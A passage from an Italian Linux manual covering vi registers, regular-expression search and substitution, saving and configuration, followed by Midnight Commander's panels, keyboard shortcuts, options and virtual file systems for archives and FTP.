"*x*dd	Trasferisce la riga attiva nell'area temporanea *x*.
"*x*d*mod*	Trasferisce nell'area temporanea *x* il testo fino all'indicazione dal modificatore.
"*x*p	Incolla il contenuto dell'area temporanea *x* prima del cursore.
"*x*P	Incolla il contenuto dell'area temporanea *x* dopo il cursore.

Segue la descrizione di alcuni esempi.

- **"adw**

  Sposta il testo nell'area temporanea '**a**', a partire dalla posizione attiva fino all'inizio della prossima parola.

- **"a5yy**

Copia cinque righe nell'area temporanea '**a**', a partire dalla posizione attiva (inclusa).

- **"A3yy**

  Aggiunge tre righe nell'area temporanea '**a**', a partire dalla posizione attiva (inclusa).

- **"a2P**

  Incolla due copie del contenuto dell'area temporanea '**a**', a partire dalla posizione precedente a quella su cui si trova il cursore.

24.14.12 Ricerche

Per effettuare delle ricerche all'interno del documento aperto con VI si possono utilizzare le espressioni regolari (sezione 26.1) attraverso due comandi un po' strani: '**/**' e '**?**'. La sintassi per la ricerca in avanti è:

```
/modello
```

Per la ricerca a ritroso è la seguente:

```
?modello
```

Nel momento in cui si preme il tasto della barra obliqua o del punto interrogativo, VI visualizza il comando nella riga inferiore dello schermo permettendone il controllo e la correzione come avviene per i comandi che iniziano con i due punti. Al termine, l'inserimento di questo tipo di comando deve essere concluso con un [*Invio*].

Tabella 24.95. I comandi di ricerca attraverso espressioni regolari.

Comando	Descrizione
/***modello***	Cerca in avanti una corrispondenza con il modello indicato.
?***modello***	Cerca all'indietro una corrispondenza con il modello indicato.
n	Ripete l'ultimo comando '**/**' o '**?**'.
N	Ripete l'ultimo comando '**/**' o '**?**' in modo inverso .

Il tipo di espressione regolare che può essere utilizzato con VI è solo quello elementare e valgono in particolare le regole indicate nella tabella 24.96.

Tabella 24.96. Le espressioni regolari che dovrebbero essere disponibili con la maggior parte delle realizzazioni di VI.

Simbolo	Descrizione
`.`	Corrisponde a un carattere qualsiasi.
`\`	Fa perdere il significato speciale che può avere il carattere seguente.
`^`	Corrisponde all'inizio di una riga.
`$`	Corrisponde alla fine di una riga.
`[`***abc***`]`	Corrisponde a un carattere qualsiasi tra quelli tra parentesi quadre.
`[^`***abc***`]`	Corrisponde a un carattere qualsiasi diverso da quelli tra parentesi quadre.
`[`***a***`-`***z***`]`	Un carattere qualsiasi nell'intervallo compreso tra ***a*** e ***z***.
`[^`***a***`-`***z***`]`	Un carattere qualsiasi diverso dall'intervallo compreso tra ***a*** e ***z***.

Segue la descrizione di alcuni esempi.

- **`/[Ll]inux`** [*Invio*]

  Cerca in avanti tutte le stringhe corrispondenti a «Linux» oppure «linux».

- **`/\.$`** [*Invio*]

  Cerca in avanti il punto finale di una riga (si osservi l'uso della barra obliqua inversa per togliere il significato speciale che ha il punto in un'espressione regolare).

24.14.13 Ricerche e sostituzioni

La ricerca e sostituzione sistematica avviene attraverso un comando particolare che inizia con i due punti. La sua sintassi è la seguente:

:***inizio***,***fine***s/***modello_da_cercare***/***sostituzione***/ [g] [c]

L'indicazione ***inizio*** e ***fine*** fa riferimento alle righe su cui intervenire. Si possono indicare dei numeri, oppure dei simboli con funzioni simili. Il simbolo '**`$`**' può essere usato per indicare l'ultima riga del file. Un punto singolo ('`.`') rappresenta la riga attiva. Il simbolo '**`%`**' viene invece utilizzato da solo per indicare tutte le righe del file.

Il modello utilizzato per la ricerca viene espresso secondo la forma delle espressioni regolari.

Normalmente, il valore da sostituire al modello cercato è fisso, ma può contenere un riferimento alla stringa trovata, attraverso il simbolo '**`&`**'.

La direttiva '**`g`**' specifica che si deve intervenire su tutte le occorrenze della corrispondenza con il modello, altrimenti la sostituzione riguarda solo la prima di queste.

La direttiva '**c**' specifica che ogni sostituzione deve essere confermata espressamente.

Segue la descrizione di alcuni esempi.

- **:1,$s/pippo/pappa/g** [*Invio*]

  Sostituisce ogni occorrenza della parola «pippo» con la parola «pappa». La ricerca viene effettuata a partire dalla prima riga fino all'ultima.

- **:%s/pippo/pappa/g** [*Invio*]

  Questo è un modo alternativo per eseguire la stessa operazione dell'esempio precedente: il simbolo '**%**' rappresenta da solo tutte le righe del file.

- **:.,10s/^..//g** [*Invio*]

  Elimina i primi due caratteri ('**^..**') da 10 righe a partire da quella attiva.

- **:%s/^..//gc** [*Invio*]

  Esegue la stessa operazione dell'esempio precedente, applicando la sostituzione su tutto il file, richiedendo però conferma per ogni sostituzione.

- **:.,10s/^/xxxx/g** [*Invio*]

  Inserisce la stringa «xxxx» all'inizio di 10 righe a partire da quella attiva.

24.14.14 Annullamento dell'ultimo comando

VI permette di annullare l'ultimo comando inserito attraverso il comando '**u**'. A seconda della realizzazione di VI utilizzata, richiamando nuovamente il comando '**u**' si riottengono le modifiche annullate precedentemente, oppure si continuano ad annullare gli effetti dei comandi precedenti.

Tabella 24.97. Annullamento di un comando.

Comando	Descrizione
`u`	Annulla l'ultimo comando.
`U`	Annulla le modifiche sulla riga attiva.

24.14.15 Caricamento, salvataggio e conclusione

Il file o i file utilizzati per la modifica (compresi quelli che si creano) vengono aperti normalmente attraverso l'indicazione nella riga di comando, al momento dell'avvio dell'eseguibile '**vi**'.

Il salvataggio di un file può essere fatto per mezzo del comando '**:w**' (*write*) seguito eventualmente dal nome del file (quando si vuole salvare con un nome diverso oppure quando si sta creando un file nuovo). La conclusione dell'attività di VI si ottiene con il comando '**:q**' (*quit*). I comandi possono essere combinati tra loro, per esempio quando si vuole salvare e concludere l'attività simultaneamente con il comando '**:wq**'. Il punto esclamativo ('**!**') può essere usato

alla fine di questi comandi per forzare le situazioni, come quando si vuole concludere l'attività senza salvare con il comando '**:q!**'.

Dal momento che VI non mostra normalmente alcuna informazione riferita al file su cui si opera (compreso il nome), il comando '**:f**' (oppure la combinazione [*Ctrl g*]) mostra sulla riga inferiore dello schermo: il nome del file aperto, le dimensioni e il numero della riga attiva.

Tabella 24.98. I comandi per il caricamento dei file e il loro salvataggio.

Comando	Descrizione
`:e` ***nome_file***	Carica il file indicato per poterlo modificare.
`:e!`	Ricarica il file annullando le modifiche fatte nel frattempo.
`:r` ***nome_file***	Legge il file indicato e ne inserisce il contenuto dopo la riga attiva.
`:f`	Mostra il nome e le caratteristiche del file aperto.
`:w`	Salva.
`:w` ***nome_file***	Salva una copia con il nome indicato.
`:wq`	Salva e termina l'esecuzione.
`:q`	Fine lavoro.
`:q!`	Fine lavoro forzato.

Figura 24.99. VI durante l'esecuzione del comando '**:w**', prima della pressione conclusiva del tasto [*Invio*]

```
Il mio primo documento scritto con VI.

Non e` facile, ma ne vale ugualmente la pena
~
~
~
~
~
~
:w esempio_
```

24.14.16 Variabili

VI ha ereditato da EX delle variabili di configurazione. Non si tratta di variabili di ambiente, ma di variabili interne a VI. Per attivare una variabile si utilizza il comando seguente:

`:set` [`no`] ***nome_della_variabile***

Il prefisso '**no**', prima del nome della variabile, serve per disattivarla. La tabella 24.100 mostra l'elenco di alcune di queste variabili.

Tabella 24.100. Variabili utilizzate da VI attraverso il comando '`:set`'.

Variabile	Descrizione
`autoindent`	Mantiene i livelli di rientro nelle righe nuove.
`beautify`	Elimina i caratteri speciali non stampabili.
`ignorecase`	Nelle ricerche, ignora la differenza tra maiuscole e minuscole.
`list`	Mostra i caratteri di tabulazione e di interruzione di riga.
`number`	Visualizza i numeri delle righe.
`ruler`	Visualizza le coordinate del cursore alla base dello schermo.

Segue la descrizione di alcuni esempi.

- **`:set nolist`** [*Invio*]

  Disabilita la visualizzazione dei caratteri di tabulazione e di fine riga.

- **`:set number`** [*Invio*]

  Visualizza i numeri di riga.

24.14.17 Comandi particolari

Nella tabella seguente sono elencati dei comandi particolari che non sono stati inclusi in altre categorie specifiche.

Comando	Descrizione
`m`***x***	Etichetta la posizione corrente con la lettera rappresentata da ***x***. Valgono solo le lettere minuscole. Il testo non viene modificato.
`'`***x***	Sposta il cursore all'inizio della riga che contiene l'etichetta rappresentata da ***x***.
[*Ctrl L*]	Riscrive la schermata: se sono apparsi messaggi che creano difficoltà alla visualizzazione del testo su cui si sta lavorando, questo comando permette di farli scomparire mostrando il testo effettivo del file.
`:!`***comando***	Esegue il comando di shell indicato.
`:ab` ***abbreviazione testo_da_sostituire***	Permette di stabilire un'abbreviazione da sostituire sistematicamente con tutto quello che segue il comando. Se si usa '**`:ab`**' da solo, si ottiene un elenco delle abbreviazioni disponibili.

24.14.18 File di configurazione

Può essere utilizzato il file '~/.exrc' per personalizzare la configurazione di VI attraverso comandi *colon* (quelli tipici di EX). Le cose più comuni che possono apparire all'interno di questo file sono la definizione di abbreviazioni e la definizione di alcune variabili. Segue un esempio:

```
:ab lx Linux
:ab xwin X Window System
:set autoindent
:set number
```

24.14.19 Problemi di portabilità

Uno dei vantaggi importanti nell'uso di VI sta nella disponibilità di realizzazioni di questo programma per qualsiasi piattaforma. All'inizio di questo gruppo di sezioni su VI si accennava al fatto che esiste un'ottima versione Dos in grado di funzionare molto bene anche con i vecchi elaboratori dotati di poca memoria.

Quando si trasferiscono testi da un sistema GNU/Linux a Dos e viceversa si pone il problema dell'insieme di caratteri a disposizione: su GNU/Linux si utilizza presumibilmente la codifica UTF-8, oppure Latin 1, mentre con il Dos no.

La soluzione più semplice a questo problema è probabilmente quella di usare Latin 1 in generale e di convertire le lettere accentate Dos in Latin 1 quando possibile. Per questo si può realizzare un semplice file di comandi da eseguire automaticamente utilizzando l'opzione '**-s**'.[45]

```
:1,$s/~E/à/g
:1,$s/~J/è/g
:1,$s/~B/é/g
:1,$s/~M/ì/g
:1,$s/~U/ò/g
:1,$s/~W/ù/g
```

In pratica, la sintassi da usare all'avvio di VI dovrebbe essere la seguente:

vi -s ***file_comandi*** ***file_da_elaborare***

In generale, i problemi legati alla conversione di un file da un insieme di caratteri all'altro, si risolvono attraverso l'uso di '**recode**', descritto nella sezione 58.11.

24.15 File manager: Midnight Commander

Il gestore di file, o *file manager*, è quel tipo di programma che facilita la gestione di file e directory e spesso incorpora anche le funzionalità di una shell. Il programma più importante di questo genere è Midnight Commander, che corrisponde all'eseguibile '**`mc`**'.[46]

Midnight Commander, è un ottimo gestore di file per i terminali a caratteri. Il nome richiama chiaramente la sua origine: si tratta di un programma molto simile al noto Norton Commander (software proprietario nato per il Dos).

Non si può dire che si tratti di un programma essenziale, dal momento che gli strumenti a disposizione dei sistemi Unix comuni, sono più che sufficienti. Tuttavia, uno strumento del genere può facilitare di molto l'attività dell'utente comune o dell'amministratore del sistema.

24.15.1 Funzionamento

Lo scopo principale di questo programma è quello di permettere la visione e la gestione simultanea di due directory di lavoro.

Figura 24.104. Midnight Commander.

```
  Left        File        Command      Options      Right
~/AppuntiLinux/nanoLinux               ~/AppuntiLinux/esempi
       Name        Size    MTime            Name         Size    MTime
/..               10240 Nov 12 20:15   /..               10240 Nov 12 20:15
 nanoBoot.ext2  1474560 Nov  5 17:15   *.aggiungi         4882 Sep 13 09:58
 nanoBoot.ext2.gz 1086110 Nov  5 17:18 *.spegnimi         2756 Nov  6 19:39
 nanoLinux.ext2 4194304 Oct 29 21:38    COPYING          17984 Aug  8  1994
 nanoLinu~ext2.gz 1355668 Oct 29 21:38 *ElencoAssenti     4672 Sep 13 09:58
 nanoRouter.ext2 1474560 Sep  5 22:54  *ElencoCrea        3785 Oct  5 17:18
 nanoRouter.txt      76 Nov  5 19:59   *SlackwareTrace   14232 Sep 26 15:12
 nanoUsr.ext2   1474560 Oct 30 19:12   *eliminautente     4349 Sep 13 09:59
                                       *posta-remota      3395 Sep 13 09:53
                                       *ppp-chiudi        1465 Sep 13 09:59
                                       *ppp-connetti      5760 Sep 13 09:59
                                       *ricicla           6572 Sep 13 09:56

..                                     ..
daniele@dinkel:~/AppuntiLinux/esempi$
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

A questo proposito, si può suddividere lo schermo gestito da Midnight Commander in quattro parti:

1. la superficie più grande, nella parte centrale, è utilizzata da due pannelli contenenti l'elenco di due directory;
2. la penultima riga dello schermo viene usata per l'inserimento di comandi di shell;
3. l'ultima riga in basso mostra i riferimenti ai tasti funzionali;
4. la prima riga, in alto, è utilizzata per la barra del menù e può restare eventualmente invisibile fino a che il menù non viene richiamato.

Dei due pannelli, uno è quello attivo e di conseguenza è quella la directory corrente. Il pannello attivo è evidenziato dalla presenza della barra di selezione. La maggior parte delle operazioni hanno effetto sul pannello attivo e quando l'operazione richiede un riferimento a una destinazione, si fa riferimento alla directory dell'altro pannello.

La presenza di una riga di comando permette di inserire ed eseguire comandi di shell nel modo solito. Per terminare il funzionamento di Midnight Commander si usa il tasto [*F10*], oppure, spesso è possibile usare anche il comando '**`exit`**' come si fa con le shell comuni.

24.15.2 Avvio di Midnight Commander

L'eseguibile '**`mc`**' viene avviato normalmente senza alcun argomento. Eventualmente, se si indicano una o due directory, il contenuto di queste viene visualizzato inizialmente:

```
mc [opzioni] [directory_1 [directory_2]]
```

Tabella 24.105. Alcune opzioni.

Opzione	Descrizione
`-b`	Forza Midnight Commander a funzionare in modo monocromatico.
`-d`	Disabilita l'uso del mouse.

24.15.3 Uso del mouse

L'uso del mouse, quando la piattaforma lo consente, è abbastanza intuitivo:

- un clic con il primo tasto (quello sinistro) su un file di una directory, lo seleziona, attivando automaticamente il pannello relativo;
- un clic con il terzo tasto (quello destro) marca o toglie una marcatura a un file;
- un clic doppio su un file provoca
  - la sua esecuzione se si tratta di un eseguibile,
  - l'apertura della directory, se si tratta di una directory,
  - l'esecuzione di un'azione abbinata all'estensione del file, se non si tratta di un eseguibile;
- le funzioni associate ai tasti funzionali possono essere eseguite facendo un clic sull'etichetta di questi posta sull'ultima riga dello schermo;
- le voci del menù possono essere aperte con un clic, ma se queste sono nascoste, basta un clic sulla prima riga dello schermo per farle apparire.

24.15.4 Tastiera

Midnight Commander potrebbe essere utilizzato anche in situazioni non ottimali come lo è invece una console di GNU/Linux. In questi casi, il mouse potrebbe mancare e la tastiera potrebbe non rispondere nel modo consueto, come quando si sta utilizzando una connessione TELNET. Esistono quindi diversi modi per fare le stesse cose e un minimo di nozioni può fare risparmiare molto tempo.

Il programma fornisce dei suggerimenti e una guida interna, in cui viene usata una notazione per le combinazioni di tasti, tipica di Emacs. In pratica, '`C-a`' rappresenta la combinazione [*Ctrl a*], mentre '`M-a`' rappresenta la combinazione [*Meta a*] ([*Alt a*] negli elaboratori x86).

In particolare, dal momento che non tutte le tastiere hanno un tasto [*Meta*], oppure alcune connessioni TELNET non ne permettono l'uso, in sua sostituzione si può utilizzare la sequenza [*Esc*][*tasto*]. Si tratta quindi di premere [*Esc*], rilasciarlo e premere subito dopo il tasto successivo.[47]

Anche i tasti funzionali possono creare dei problemi. In tal caso si può utilizzare la combinazione [*Meta* ***n***], dove il 10 corrisponde allo zero. Per esempio, al posto del tasto [*F1*] si può utilizzare la combinazione [*Meta 1*], mentre per [*F10*] si può usare [*Meta 0*].

Il tasto [*Invio*] ha diversi utilizzi a seconda del contesto:

- se è stato scritto qualcosa nella riga di comando, viene eseguito il comando;
- se la riga di comando è vuota, si ottiene un'azione equivalente al clic doppio sul file selezionato (quello su cui si trova la barra di selezione);
- se è aperta una finestra di dialogo, esegue l'azione corrispondente al pulsante grafico evidenziato o predefinito.[48]

Il funzionamento di altri tasti e combinazioni di tasti viene riassunto nella tabella 24.106. Quello che è importante tenere presente è che non sono sempre disponibili tutti in ogni situazione.

Tabella 24.106. Alcuni tasti e combinazioni di tasti utili per il controllo di Midnight Commander.

Comando	Alternativa	Descrizione
[*Meta Esc*]	[*Esc*][*Esc*]	Annulla l'ultima operazione o conclude qualcosa.
[*Ctrl l*]		Ridisegna l'immagine dello schermo o della finestra.
[*Ctrl r*]		Rilegge il contenuto della directory aggiornando il pannello attivo.
[*Ctrl s*]	[*Meta s*]	Inizia la ricerca di un file nel pannello attivo.
[*Meta t*]		Passa alla modalità successiva di visualizzazione del pannello attivo.
[+]		Seleziona un gruppo di file, attraverso l'uso di metacaratteri.
[-]	[\ ]	Deseleziona un gruppo di file, attraverso l'uso di metacaratteri.
[*Tab*]	[*Ctrl i*]	Seleziona l'altro pannello.
[*Ins*]	[*Ctrl t*]	Marca o toglie la marcatura dal file selezionato.
[*freccia-su*]	[*Ctrl p*]	Sposta la barra di selezione in alto di una posizione.
[*freccia-giù*]	[*Ctrl n*]	Sposta la barra di selezione in basso di una posizione.
[*pagina-su*]	[*Meta v*]	Sposta la barra di selezione in alto di una pagina.
[*pagina-giù*]	[*Ctrl v*]	Sposta la barra di selezione in basso di una pagina.

Comando	Alternativa	Descrizione
[*Meta Invio*]	[*Esc*][*Invio*]	Copia il nome del file selezionato nella riga di comando.
[*Meta Tab*]	[*Esc*][*Tab*]	Tenta di completare il nome iniziato nella riga di comando.
[*Ctrl q*][***x***]		Inserisce ***x*** nella riga di comando evitando interpretazioni diverse.
[*Meta p*]	[*Esc*][*p*]	Recupera il comando precedente accumulato nello storico dei comandi.
[*Meta n*]	[*Esc*][*n*]	Recupera il comando successivo accumulato nello storico dei comandi.
[*freccia-sinistra*]	[*Ctrl b*]	Sposta il cursore a sinistra in una riga di comando qualunque.
[*freccia-destra*]	[*Ctrl f*]	Sposta il cursore a destra in una riga di comando qualunque.
[*Backspace*]	[*Ctrl h*]	Cancella il carattere precedente.
[*Canc*]	[*Ctrl d*]	Cancella il carattere successivo.

Utilizzando Midnight Commander, occorre fare attenzione all'uso del tasto [*Esc*]. Dal momento che serve a generare delle combinazioni (o meglio delle sequenze), come nel caso in cui si vogliono emulare i tasti funzionali, la semplice pressione di [*Esc*] non genera nulla, fino a che non si preme un altro tasto. Se la sequenza che si genera, [*Esc*][*tasto*], non è conosciuta da Midnight Commander, ciò che si ottiene è l'equivalente di [*Meta Esc*], cioè l'annullamento o la conclusione di qualcosa.

24.15.5 Menù

Il funzionamento della barra del menù è abbastanza intuitivo. In particolare va ricordato che, per attivarlo quando non si dispone del mouse, si usa il tasto [*F9*].

A fianco delle voci contenute nelle tendine dei menù sono annotate le combinazioni della tastiera che possono essere usate come scorciatoia per la funzione relativa.

24.15.6 Configurazione

Midnight Commander può essere configurato a vari livelli. Il più semplice è la scelta del modo in cui devono essere usati i pannelli. Per questo si trovano i menù `Left` e `Right`, identici, ma riferiti ai pannelli rispettivi. A livello globale, è possibile definire la configurazione di Midnight Commander attraverso il menù `Options`. In particolare è da ricordare che occorre salvare la configurazione, se si vuole che sia mantenuta. Il salvataggio di questa genera il file '`~/.mc/ini`'.

La figura 24.107 mostra il menù `Left`, attraverso il quale configurare il comportamento del pannello sinistro. Le stesse voci appaiono nel menù `Right`.

Figura 24.107. Il menù `Left` di Midnight Commander.

```
 Left        File        Command     Options     Right
 ┌───────────────────────┐x──────────────┐┌~/AppuntiLinux/esempi──────────────────┐
 │ Listing mode...       │    │  MTime    ││      Name          │ Size │  MTime    │
 │ Quick view            │40  │Nov 12 21:06││ COPYING           │ 17984│Aug  8  1994│
 │ Info                  │60  │Nov  5 17:15││*ElencoAssenti     │  4672│Sep 13 09:58│
 │ Tree                  │10  │Nov  5 17:18││*ElencoCrea        │  3785│Oct  5 17:18│
 │ ───────────────────── │04  │Oct 29 21:38││*SlackwareTrace    │ 14232│Sep 26 15:12│
 │ Sort order...         │68  │Oct 29 21:38││*eliminautente     │  4349│Sep 13 09:59│
 │ ───────────────────── │60  │Sep  5 22:54││*posta-remota      │  3395│Sep 13 09:53│
 │ Filter...             │76  │Nov  5 19:59││*ppp-chiudi        │  1465│Sep 13 09:59│
 │ ───────────────────── │60  │Oct 30 19:12││*ppp-connetti      │  5760│Sep 13 09:59│
 │ Network link...       │    │            ││*ricicla           │  6572│Sep 13 09:56│
 │ FTP link...           │    │            ││*salva             │  6186│Oct 21 18:46│
 │ ───────────────────── │    │            ││*stampa-smb        │  2829│Oct 28 22:45│
 │ Rescan      C-r       │    │            ││*traccia           │ 13817│Sep 26 15:13│
 └───────────────────────┘────────────────┘├────────────────────────────────────────┤
 │..                                       ││traccia                                 │
 └─────────────────────────────────────────┘└────────────────────────────────────────┘
daniele@dinkel:~/AppuntiLinux/nanoLinux$
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

- `Listing mode...`

  attiva implicitamente la visualizzazione dell'elenco della directory aperta in quel pannello e ne specifica gli elementi;

- `Quick view`

  visualizza (per quanto possibile) il contenuto del file selezionato nell'altro pannello;

- `Info`

  mostra le informazioni complete del file selezionato nell'altro pannello;

- `Tree`

  mostra la struttura del file system;

- `Sort order`

  permette di definire l'ordinamento dei file che appaiono nel pannello;

- `Filter`

  permette di definire un filtro, espresso attraverso caratteri jolly o espressioni regolari, dei nomi degli elementi contenuti nel pannello.

La funzione `Listing mode` è molto utile per configurare l'aspetto dell'elenco di file del pannello sinistro e destro. La figura 24.108 mostra un esempio della maschera che viene ottenuta attraverso la sua selezione.

Figura 24.108. La maschera a cui si accede attraverso la voce `Listing mode`.

```
Listing mode

(*) Full file list        [< OK >]
( ) Brief file list       [ Cancel ]
( ) Long file list
( ) User defined:
    half type,name                 [^]

[x] user Mini status
    half type,name,|,owner,group[^]
```

È probabile che sia preferibile attivare la modalità `Full file list` (come si vede nell'esempio), oppure chi è più esperto può trovare utile la possibilità di configurare gli elementi da visualizzare nell'elenco, attraverso la voce `User defined`. In questo caso, occorre compilare il campo successivo, con l'indicazione delle colonne da includere. La prima parola chiave serve a stabilire la dimensione dell'elenco:

- '**half**' indica un elenco che utilizza solo metà schermo;
- '**full**' indica un elenco che utilizza tutto lo schermo.

Le parole successive rappresentano le colonne, separate da una virgola:

- '**|**' rappresenta una riga di divisione tra le colonne;
- '**type**' rappresenta un simbolo che permette di identificare il tipo di file;
- '**name**' rappresenta il nome del file;
- '**owner**' rappresenta il nome dell'utente proprietario;
- '**group**' rappresenta il nome del gruppo proprietario;
- '**size**' rappresenta la dimensione del file;
- '**perm**' rappresenta i permessi del file.

È possibile attivare anche la voce `user Mini status` per visualizzare sul fondo della finestra altre caratteristiche del file evidenziato dal cursore. Gli elementi da visualizzare sono indicati attraverso una sintassi analoga a quanto appena descritto sopra.

Il menù delle opzioni (`Options`) è quello che permette di configurare il funzionamento di Midnight Commander in modo globale, indipendentemente dalle caratteristiche di una finestra particolare. La funzione più importante è appunto `Configuration`, anche se in realtà, tutte le altre voci del menù riguardano la configurazione di questo programma.

La configurazione di Midnight Commander, sia per ciò che riguarda questo menù, sia per quanto accessibile attraverso i menù `Left` e `Right`, viene memorizzata nel file '`~/.mc/ini`'.

Per ottenere questo, occorre però che tale configurazione sia salvata attraverso la funzione `Save setup`, alla fine del menù delle opzioni.

La funzione `Configuration` permette di modificare alcuni comportamenti importanti di Midnight Commander. Per esempio è possibile includere o escludere i file «nascosti» e quelli che rappresentano le copie di sicurezza di versioni precedenti. Inoltre, le versioni recenti di Midnight Commander permettono di utilizzare un programma interno per la gestione dei file di testo. Questo, a differenza dei comuni programmi del genere che funzionano su uno schermo a celle di caratteri, si avvicina molto ai programmi simili utilizzati in ambiente Dos. La figura 24.109 mostra un esempio della maschera di configurazione generale delle opzioni.

Figura 24.109. Menù opzioni: configurazione.

```
Configure options

Panel options                  Other options
[x] show Backup files          [x] Verbose operation
[x] show Hidden files          [x] Compute Totals
[x] maRk moves down            [x] shell Patterns
[ ] Drop down menus            [x] Auto save setup
[ ] miX all files              [ ] auto mEnus
[ ] Fast dir reload            [x] use internal edIt
                               [x] Use internal view
                               [x] coMplete: show all
Pause after run...             [x] rotatinG dash
(*) Never                      [ ] Lynx-like motion
( ) on dumb Terminals          [x] cd follows linKs
( ) Always                     [ ] safe deLete

      [< OK >]        [ Save ]        [ Cancel ]
```

24.15.7 File system virtuali

Uno dei vantaggi principali nell'utilizzo di questo programma sta nella facilità con cui è possibile accedere al contenuto di file compressi o a dei servizi FTP. È sufficiente premere [*Invio*] su un archivio, anche compresso, per accedere al suo contenuto (in sola lettura). Anche i pacchetti RPM (Red Hat) e Debian sono accessibili facilmente, purché siano presenti i programmi '**`rpm`**' e '**`dpkg`**'.

Figura 24.110. Midnight Commander permette di accedere facilmente anche al contenuto di archivi compressi.

```
  Left         File         Command       Options       Right
┌~/AppuntiLinux/nanoLinux──────────────┐┌zip:/home/daniele/dosutils.zip────────┐
│     Name          Size  │  MTime      ││    Name           Size  │  MTime     │
│/..               10240 │Nov 12 21:47 ││~..                   8 │Jul 12 11:29│
│ nanoBoot.ext2  1474560 │Nov  5 17:15 ││ ALLFILES.COM       417 │Jun 25 02:10│
│ nanoBoot.ext2.gz 1086110│Nov  5 17:18 ││ ALLFILES.TXT       572 │Jun 25 02:10│
│ nanoLinux.ext2 4194304 │Oct 29 21:38 ││ ASK.COM             67 │Jun 25 02:00│
│ nanoLinu~ext2.gz 1355668│Oct 29 21:38 ││ ASK.TXT            912 │Jun 25 02:00│
│ nanoRouter.ext2 1474560│Sep  5 22:54 ││ BLACKOUT.COM       445 │Jun 25 02:01│
│ nanoRouter.txt      76 │Nov  5 19:59 ││ BLACKOUT.TXT      2199 │Jun 25 02:01│
│ nanoUsr.ext2   1474560 │Oct 30 19:12 ││ BOING.COM          194 │Jun 25 02:00│
│                        │             ││ CAPTURE.COM       1626 │Jun 25 03:01│
│                        │             ││ CAPTURE.TXT       1610 │Jun 25 03:01│
│                        │             ││ COMPACT.EXE        641 │Jun 25 02:00│
│                        │             ││ COMPID.COM         203 │Jun 25 02:01│
├──────────────────────────────────────┤├──────────────────────────────────────┤
│..                                    ││ALLFILES.TXT                          │
└──────────────────────────────────────┘└──────────────────────────────────────┘
daniele@dinkel:~$
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

Figura 24.111. Gli archivi RPM vengono gestiti come archivi compressi.

```
  Left         File         Command       Options       Right
┌~/AppuntiLinux/nanoLinux──────────────┐┌...niele/bash-1.14.7-1.i386.rpm/bin───┐
│     Name          Size  │  MTime      ││    Name           Size  │  MTime     │
│/..               10240 │Nov 12 22:05 ││/..                   0 │Jun  1 01:04│
│ nanoBoot.ext2  1474560 │Nov  5 17:15 ││*bash            300668 │Sep  4  1996│
│ nanoBoot.ext2.gz 1086110│Nov  5 17:18 ││@sh                   4 │Sep  4  1996│
│ nanoLinux.ext2 4194304 │Oct 29 21:38 ││                        │            │
│ nanoLinu~ext2.gz 1355668│Oct 29 21:38 ││                        │            │
│ nanoRouter.ext2 1474560│Sep  5 22:54 ││                        │            │
│ nanoRouter.txt      76 │Nov  5 19:59 ││                        │            │
│ nanoUsr.ext2   1474560 │Oct 30 19:12 ││                        │            │
├──────────────────────────────────────┤├──────────────────────────────────────┤
│..                                    ││-> bash                               │
└──────────────────────────────────────┘└──────────────────────────────────────┘
daniele@dinkel:~$
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

Figura 24.112. Gli archivi Debian vengono gestiti come archivi compressi.

```
<-~/tmp---------------------------v>  <-...h_2.05a-4.deb#deb/CONTENTS/bin-v>
              Name                                 Name
/..                                   /..
/.X11-unix                            *bash
/lost+found                           @rbash
/orbit-daniele                        @sh
/ssh-YEPKU844
 .X0-lock
 mc498-13993

/..          |     4096|drwxr-xr-x    -> bash
daniele@dinkel$                                                        [^]
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

Nello stesso modo è possibile accedere a un servizio FTP, come se si trattasse di un file system normale.

Queste funzionalità sono disponibili tramite il menù, ma si può usare una forma particolare nella riga di comando. Nel caso di FTP, si usa la forma seguente:

ftp:// [***utente***@] ***nodo*** [***directory_remota***]

Per esempio, per accedere alla directory '`/pub/`' del servizio FTP anonimo presso *`dinkel.brot.dg`*, si può utilizzare il comando seguente:

`$` **`cd ftp://dinkel.brot.dg/pub`** [*Invio*]

Midnight Commander, così come molti altri programmi clienti FTP, consente anche di inserire il nominativo-utente assieme alla parola d'ordine. Tuttavia, questa è sempre una pratica sconsigliabile, perché potrebbe risultare visibile nella riga di comando memorizzata nel sistema di gestione dei processi.

Figura 24.113. Midnight Commander incorpora le funzionalità di un cliente FTP.

```
 Left        File        Command     Options     Right
┌~/AppuntiLinux/nanoLinux──────────────┐┌ftp://dinkel.brot.dg/pub──────────────┐
│      Name         │ Size  │  MTime    ││      Name         │ Size │  MTime     │
│/..                │  10240│Dec  3 16:54││/..               │  1024│Sep 11 21:31│
│ nanoBoot.ext2     │1474560│Nov  5 17:15││/incoming         │  1024│Nov  2 14:04│
│ nanoBoot.ext2.gz  │1086110│Nov  5 17:18││ esempio          │    37│Nov 12 21:04│
│ nanoLinux.ext2    │4194304│Oct 29 21:38││                  │      │            │
│ nanoLinu~ext2.gz  │1355668│Oct 29 21:38││                  │      │            │
│ nanoRouter.ext2   │1474560│Sep  5 22:54││                  │      │            │
│ nanoRouter.txt    │     76│Nov  5 19:59││                  │      │            │
│ nanoUsr.ext2      │1474560│Oct 30 19:12││                  │      │            │
├───────────────────────────────────────┤├───────────────────────────────────────┤
│ nanoBo~ext2|root    |root    |rw-r--r--││/incoming  |root    |root    |rwxrwsrwx│
└───────────────────────────────────────┘└───────────────────────────────────────┘
daniele@dinkel:~/AppuntiLinux/nanoLinux$
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

Midnight Commander considera anche altri file system virtuali, come si vede nella documentazione originale: la pagina di manuale *mc(1)*.

24.16 Mcedit: programma integrato per la gestione dei file di testo

